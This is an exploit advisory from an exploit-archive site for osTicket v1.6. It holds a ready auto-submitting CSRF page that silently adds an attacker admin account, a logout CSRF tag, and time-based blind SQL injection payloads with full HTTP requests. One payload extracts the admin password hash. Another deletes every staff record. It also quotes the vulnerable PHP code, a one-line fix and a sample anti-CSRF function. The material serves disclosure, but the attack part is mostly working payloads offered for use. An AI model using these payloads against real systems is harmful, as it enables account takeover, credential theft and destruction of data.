osTicket v1.6 ST (stable) CSRF+BLIND SQLi

2013.01.02
Credit: AkaStep
Risk: Medium
Local: No
Remote: Yes
CVE: N/A

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : 1337day.com 0 1 [+] Support e-mail : submit[at]1337day.com 1 0 0 1 ######################################### 1 0 I'm AkaStep member from Inj3ct0r Team 1 1 ######################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 ================================================= Vulnerable Software: osTicket v1.6 ST (stable) Official Site:http://www.osticket.com $ md5sum osticket_1.6.0.tar.gz f8d5e8070c52ae3adf822cfbb1c8b628 *osticket_1.6.0.tar.gz Vulns: CSRF+BLIND SQLi ================================================= ================================================= Tested: *php.ini MAGIC_QUOTES_GPC OFF* Safe mode off /* OS: Windows XP SP2 (32 bit) Apache: 2.2.21.0 PHP Version: 5.2.17.17 MYSQL: 5.5.24 */ ================================================= Vuln Desc: osTicket v1.6 ST (stable) is prone to CROSS SITE REQUEST FORGERY,Blind Sql Injection vulns. Theris no any protection mechanisms against CSRF vuln. Thats why we can add own admin account or ( depends on fantasy we can do more nasty things ) The following malicious page will do it's own job if currently logged admin visitis it. (Just mix it with iframe and it will work for you in silent manner) On successfully exploitation it will add new admin with following credentials: ================================================= Username: pwner155 Password: pwner12 Email: pwner@localhost.tld You can login here: http://site.tld/scp/admin.php ================================================= CSRF force admin to logout: ($_GET request) A) <img src="http://192.168.0.15/learn/osticket_1.6.0/scp/logout.php" /> B) ($_POST request) ===================Osticket_1.6.0 Stable CSRF add admin exploit==================== <body onload="javascript:document.forms[0].submit()"> <form action="http://********************CHANGE TO TARGET******************/scp/admin.php" method="post"> <input type="hidden" name="do" value="create"> <input type="hidden" name="a" value=""> <input type="hidden" name="t" value="staff"> <input type="hidden" name="staff_id" value="100"> <input type="text" name="username" value="pwner155"> <select name="dept_id"> <option value=0>Select Department</option> <option value="1" selected>Support Dept</option> <option value="2">Billing Dept</option> </select> <select name="group_id"> <option value=0>Select Group</option> <option value="1"selected>Admins</option> <option value="2">Managers</option> <option value="3">Staff</option> </select> <input type="text" name="firstname" value="pwner"> <input type="text" name="lastname" value="pwner"> <input type="text" name="email" size=25 value="pwner@localhost.tld"> <input type="text" name="phone" value="" > <input type="text" name="phone_ext" size=6 value="" > <input type="text" name="mobile" value="" > <textarea name="signature" cols="21" rows="5"></textarea> <input type="password" name="npassword" value="pwner12"> <input type="password" name="vpassword" value="pwner12" > <input type="checkbox" name="resetpasswd" > <input type="radio" name="isactive" value="1" checked /> <input type="radio" name="isactive" value="0" /> <input type="radio" name="isadmin" value="1" checked /> <input type="radio" name="isadmin" value="0" /> <input type="checkbox" name="isvisible" >Show the user on staff's directory <input type="checkbox" name="onvacation" checked> </form> ===================Osticket_1.6.0 Stable CSRF add admin exploit EOF==================== ===================== BEGIN SNIP================================== Blind Sql Injection: ///BLind Sql injection in osticket_1.6.0 //Vulnerable code section: //$ids comes from Client side and it is not sanitized. //scp/kb.php case 'process': if(!$_POST['canned'] || !is_array($_POST['canned'])) $errors['err']='You must select at least one item'; else{ $msg=''; $ids=implode(',',$_POST['canned']); $selected=count($_POST['canned']); if(isset($_POST['enable'])) { if(db_query('UPDATE '.KB_PREMADE_TABLE.' SET isenabled=1,updated=NOW() WHERE isenabled=0 AND premade_id IN('.$ids.')')) $msg=db_affected_rows()." of $selected selected replies enabled"; }elseif(isset($_POST['disable'])) { if(db_query('UPDATE '.KB_PREMADE_TABLE.' SET isenabled=0, updated=NOW() WHERE isenabled=1 AND premade_id IN('.$ids.')')) $msg=db_affected_rows()." of $selected selected replies disabled"; }elseif(isset($_POST['delete'])) { if(db_query('DELETE FROM '.KB_PREMADE_TABLE.' WHERE premade_id IN('.$ids.')')) $msg=db_affected_rows()." of $selected selected replies deleted"; } if(!$msg) $errors['err']='Error occured. Try again'; } break; default: $errors['err']='Unknown action'; endswitch; endif; Exploit: ================== 1) or (select if(md5(substr(passwd,1,1))=md5('2'),benchmark(50000000,md5(now())),0) from ost_staff where staff_id=1) AND (1!=0 ================== @Print screen exploiting way: http://s003.radikal.ru/i202/1205/9a/83f9ed09938d.png In eg: POST http://192.168.0.15/learn/osticket_1.6.0/scp/kb.php HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Referer: http://192.168.0.15/learn/osticket_1.6.0/scp/kb.php Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt) Host: 192.168.0.15 Content-Length: 165 Cookie: ASPX=k6568l5vuivoltuec0alcs52v2a107sj POSTDATA: a=process&canned%5B%5D=1) or (select if(md5(substr(passwd,1,1))=md5('2'),benchmark(50000000,md5(now())),0) from ost_staff where staff_id=1) AND (1!=0&disable=Disable This means it is vulnerable because md5('2') is first string of my password which comes from ost_staff table and as result if() will operate true condition in our case: It will "execute" our benchmark() (aka our trigger) which overloads server it gives hint to us result is positive ================== Returned status code: HTTP/1.1 504 Fiddler - Receive Failure Content-Type: text/html; charset=UTF-8 Connection: close Timestamp: 18:57:58.515 [Fiddler] ReadResponse() failed: The server did not return a response for this request. ================== Logged Query: ################# Command: Query db: ost Host: worker.com:1337 User: ost Id: 1326 Time: 10 State: Sending data Info: UPDATE ost_kb_premade SET isenabled=0, updated=NOW() WHERE isenabled=1 AND premade_id IN(1) or (select if(md5(substr(passwd,1,1))=md5('2'),benchmark(50000000,md5(now())),0) from ost_staff where staff_id=1) AND (1!=0) ################# Fix: //scp/kb.php case 'process': if(!$_POST['canned'] || !is_array($_POST['canned'])) $errors['err']='You must select at least one item'; else{ $msg=''; $ids=db_input(implode(',',$_POST['canned'])); // fixed =============================== EOF SNIP ============================================================ Again Blind sql injection same as bottom but it is in admin.php ($ids not sanitized again) We can use it in ex to drop all staff from ost_staff using this payload: ==========Exploit============= 1) or staff_id!=1000000 or (1=1 ============================== POST http://192.168.0.15/learn/osticket_1.6.0/scp/admin.php?t=staff HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Referer: http://192.168.0.15/learn/osticket_1.6.0/scp/admin.php?t=staff Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt) Host: 192.168.0.15 Content-Length: 80 Cookie: ASPX=ud5hs3fo3o10t5kamsjn8insq83lbhfa POSTDATA: a=staff&do=mass_process&uids%5B%5D=1) or staff_id!=1000000 or (1=1&delete=Delete Query will look like to this: DELETE FROM ost_staff WHERE staff_id IN(1) or staff_id!=1000000 or (1=1) AND staff_id!=1 All ost_staff "truncated"... =============================== SNIP =============================== //Vulnerable code: //scp/admin.php //some switch stuff snipped here: case 'mass_process': //ok..at this point..look WMA. if($_POST['uids'] && is_array($_POST['uids'])) { $ids=implode(',',$_POST['uids']); $selected=count($_POST['uids']); if(isset($_POST['enable'])) { $sql='UPDATE '.STAFF_TABLE.' SET isactive=1,updated=NOW() WHERE isactive=0 AND staff_id IN('.$ids.')'; db_query($sql); $msg=db_affected_rows()." of $selected selected users enabled"; }elseif(in_array($thisuser->getId(),$_POST['uids'])) { //sucker...watch what you are doing...why don't you just DROP the DB? $errors['err']='You can not lock or delete yourself!'; }elseif(isset($_POST['disable'])) { $sql='UPDATE '.STAFF_TABLE.' SET isactive=0, updated=NOW() '. ' WHERE isactive=1 AND staff_id IN('.$ids.') AND staff_id!='.$thisuser->getId(); db_query($sql); $msg=db_affected_rows()." of $selected selected users locked"; //Release tickets assigned to the user?? NO? could be a temp thing // May be auto-release if not logged in for X days? }elseif(isset($_POST['delete'])) { db_query('DELETE FROM '.STAFF_TABLE.' WHERE staff_id IN('.$ids.') AND staff_id!='.$thisuser->getId()); $msg=db_affected_rows()." of $selected selected users deleted"; //Demote the user db_query('UPDATE '.DEPT_TABLE.' SET manager_id=0 WHERE manager_id IN('.$ids.') '); db_query('UPDATE '.TICKET_TABLE.' SET staff_id=0 WHERE staff_id IN('.$ids.') '); }else{ $errors['err']='Uknown command!'; } }else{ $errors['err']='No users selected.'; } break; default: $errors['err']='Uknown command!'; } break; case 'dept': include_once(INCLUDE_DIR.'class.dept.php'); $do=strtolower($_POST['do']); switch($do){ case 'update': $dept = new Dept($_POST['dept_id']); if($dept && $dept->getId()) { if($dept->update($_POST,$errors)) $msg='Dept updated successfully'; elseif(!$errors['err']) $errors['err']='Error updating the department'; }else{ $errors['err']='Internal error'; } break; case 'create': if(($deptID=Dept::create($_POST,$errors))) $msg=Format::htmlchars($_POST['dept_name']).' added successfully'; elseif(!$errors['err']) $errors['err']='Unable to add department. Internal error'; break; case 'mass_process': if(!$_POST['ids'] || !is_array($_POST['ids'])) { $errors['err']='You must select at least one department'; }elseif(!$_POST['public'] && in_array($cfg->getDefaultDeptId(),$_POST['ids'])) { $errors['err']='You can not disable/delete a default department. Remove default Dept and try again.'; }else{ $count=count($_POST['ids']); $ids=implode(',',$_POST['ids']); if($_POST['public']){ $sql='UPDATE '.DEPT_TABLE.' SET ispublic=1 WHERE dept_id IN ('.$ids.')'; if(db_query($sql) && ($num=db_affected_rows())) $warn="$num of $count selected departments made public"; else $errors['err']='Unable to make depts public.'; }elseif($_POST['private']){ $sql='UPDATE '.DEPT_TABLE.' SET ispublic=0 WHERE dept_id IN ('.$ids.') AND dept_id!='.db_input($cfg->getDefaultDeptId()); if(db_query($sql) && ($num=db_affected_rows())) { $warn="$num of $count selected departments made private"; }else $errors['err']='Unable to make selected department(s) private. Possibly already private!'; }elseif($_POST['delete']){ //Deny all deletes if one of the selections has members in it. $sql='SELECT count(staff_id) FROM '.STAFF_TABLE.' WHERE dept_id IN ('.$ids.')'; list($members)=db_fetch_row(db_query($sql)); $sql='SELECT count(topic_id) FROM '.TOPIC_TABLE.' WHERE dept_id IN ('.$ids.')'; list($topics)=db_fetch_row(db_query($sql)); if($members){ $errors['err']='Can not delete Dept. with members. Move staff first.'; }elseif($topic){ $errors['err']='Can not delete Dept. associated with a help topics. Remove association first.'; }else{ //We have to deal with individual selection because of associated tickets and users. $i=0; foreach($_POST['ids'] as $k=>$v) { if($v==$cfg->getDefaultDeptId()) continue; //Don't delete default dept. Triple checking!!!!! if(Dept::delete($v)) $i++; } if($i>0){ $warn="$i of $count selected departments deleted"; }else{ $errors['err']='Unable to delete selected departments.'; } } } } break; default: $errors['err']='Unknown Dept action'; } break; default: $errors['err']='Uknown command!'; endswitch; endif; ========================== EOF SNIP ================================ To protect your application from CSRF vulns realize something like this:(At least it gives idea for you) Same logic also applies to $_GET requests. (Sorry i commented it in my native language:() =====================BEGIN(i know it is a bit paranoidal like me:)=================== <?php session_start(); /** Bu sade funksiyamin komekliyi ile CSRF - CROSS SITE REQUEST FORGERY ve yaxud diger adi XSRF tipli vulnerabilitylerin heyata kecmesine mane olmus oluruq. Indiki web app-larin 99%-i CSRF -e vulnerabledir. CSRF -tipli vuln cox tehlukeli Vuln tipidir.Wiki-ye ve OWASP || packetstormsecurity.com-a bax etrafli info ucun. Cagirilma metodu: Her bir POST zapros istifade eden formda hidden input yaradirsan <input type="hidden" name="anticsrftokenize" id="anticsrftokenize" value="<?php echo htmlentities($_SESSION['csrftokenize']);?>" /> ve POST zapros invoke edildikde funksiyaya by reference oturulme edirsen asagidaki kimi. Ve her bir skriptin baslangicinda prepareanticsrf(); funksiyasini cagirirsan. POST zapros qebul edildikde yoxlayirsan: csrfcheck($_POST['anticsrftokenize'],$_SESSION['csrftokenize']); Tokenler uygun olmadiqda xeberdarliq verirem en esasi ise skriptin isini dayandiriram. /AkaStep **/ function csrfcheck(&$val1,&$val2) { if(!isset($_POST['anticsrftokenize']) || !isset($_SESSION['csrftokenize']) ||!isset($_SESSION['oldbasecsrf']) || md5($_POST['anticsrftokenize'])!==md5($_SESSION['oldbasecsrf'])) { die('<script>alert("\u0050\u006F\u0074\u0065\u006E\u0073\u0069\u0061\u006C\u0020\u0043\u0053\u0052\u0046\u0020\u0041\u0074\u0074\u0061\u0063\u006B\u0021");window.top.location.href = "index.php?attack=CSRF#";</script>' . refreshsess()); } } function refreshsess() { echo '<META HTTP-EQUIV="Refresh" CONTENT="1;URL=?">'; } function prepareanticsrf() { /* ************************** BEOF ANTI CSRF YOXLANMA UCUN. EL VURMA HECNEYE *******************************************/ if($_SERVER['REQUEST_METHOD']==='GET') // her bir GET requestde yaradiriq. { $_SESSION['csrftokenize']=sha1(md5(rand(51389,4895615454).md5(time()))); // # debug echo '<font color="red">' . $_SESSION['csrftokenize'] . '</font>'; kk # // # debug echo "<script>alert(\"{$_SESSION['csrftokenize']}\");</script>"; # /* sessiyani yaradiriq. Mehz bunun sayesinde server side yoxlanama edirik CSRF attackdir ya yox?*/ } //# Eger sehifeye POST or HEAD OR TRACE zapros gonderirse bizi firlatmaq ucun amma yemeyib gedir bu defe de. # if($_SERVER['REQUEST_METHOD']!=='GET' && !isset($_SESSION['csrftokenize'])) die(refreshsess()); // Burda header() de vermek olardi amma o halda HEAD requestde infinitive loopa duse bilerdik. if($_SERVER['REQUEST_METHOD']==='POST' && isset($_SESSION['csrftokenize'])) //Mehz burada biz POST req-ler ucun CSRF token yaradiriq.CSRF tokenleri daha sensitive edirik. { $_SESSION['oldbasecsrf']=$_SESSION['csrftokenize']; $_SESSION['csrftokenize']=sha1(md5(rand(51389,4895615454).md5(time()))); } if(count($_SESSION) !==0) $_SESSION=array_map('htmlentities',$_SESSION); // Her ehtimal ucun sanitizasiya edek. /* ************************** EOF ANTI CSRF YOXLANMA UCUN EL VURMA HECNEYE *******************************************/ } ?> ==================EOF=============== ----------------------------------------------------- Vendor notified about vulns: 29 May 2012 ----------------------------------------------------- =========================== HAPPY NEW YEAR! ================================== ================================================ SHOUTZ+RESPECTS+GREAT THANKS TO ALL MY FRIENDS: ================================================ packetstormsecurity.org packetstormsecurity.com packetstormsecurity.net securityfocus.com cxsecurity.com security.nnov.ru securtiyvulns.com securitylab.ru secunia.com securityhome.eu exploitsdownload.com osvdb.com websecurity.com.ua 1337day.com to all Aa Team + to all Azerbaijan Black HatZ + *Especially to my bro CAMOUFL4G3 * To All Turkish Hackers Also special thanks to: ottoman38 & HERO_AZE ================================================ /AkaStep

References:

http://www.osticket.com


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top